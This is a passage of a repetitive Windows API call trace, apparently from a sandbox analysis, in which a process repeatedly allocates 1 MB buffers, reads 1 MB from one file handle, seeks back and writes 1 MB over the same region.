	[0095.013] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0095.026] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.029] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.029] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0095.031] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.035] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0095.042] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0095.047] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0095.060] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.063] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.064] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0095.066] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.069] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0095.087] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0095.093] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0095.105] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.109] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.109] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0095.111] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.115] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0095.121] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0095.126] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0095.160] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.163] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.163] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0095.165] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.169] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0095.179] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0095.194] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0095.207] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.211] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.211] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0095.213] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.217] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0095.224] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0095.230] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0095.243] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.247] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.247] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0095.249] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.256] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0095.267] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0095.281] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0095.296] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.299] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.300] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0095.302] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.305] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0095.312] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0095.318] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0095.332] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.335] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.335] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0095.337] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.341] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0095.351] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0095.368] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0095.406] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.410] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.410] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0095.412] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.416] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0095.422] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0095.439] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0095.457] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.461] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.461] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0095.463] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.467] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0095.479] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0095.486] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0095.508] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.511] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.511] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0095.514] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.518] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0095.524] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0095.533] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0095.546] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.550] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.550] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0095.551] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.554] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0095.563] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0095.578] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0095.591] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.595] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.595] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0095.597] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.600] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0095.605] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0095.610] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0095.619] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.622] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.622] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0095.623] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.626] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0095.633] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0095.645] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0095.655] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.658] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.658] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0095.660] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.663] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0095.668] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0095.732] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0095.742] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.745] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.745] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0095.747] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.750] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0095.757] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0095.762] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0095.780] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.783] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.783] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0095.784] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.787] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0095.792] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0095.796] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0095.807] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.811] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.811] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0095.813] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.816] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0095.827] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0095.843] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0095.858] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.864] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.864] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0095.870] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.873] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0095.879] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0095.885] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0095.899] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.902] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.902] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0095.905] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.908] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0095.920] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0095.933] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0095.943] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.946] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.946] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0095.947] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.952] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0095.958] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0095.963] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0095.973] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.977] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.977] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0095.979] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0095.983] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0095.994] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0096.009] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0096.023] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0096.027] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.027] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0096.029] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0096.033] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0096.040] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0096.047] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0096.062] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0096.065] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.065] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0096.067] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
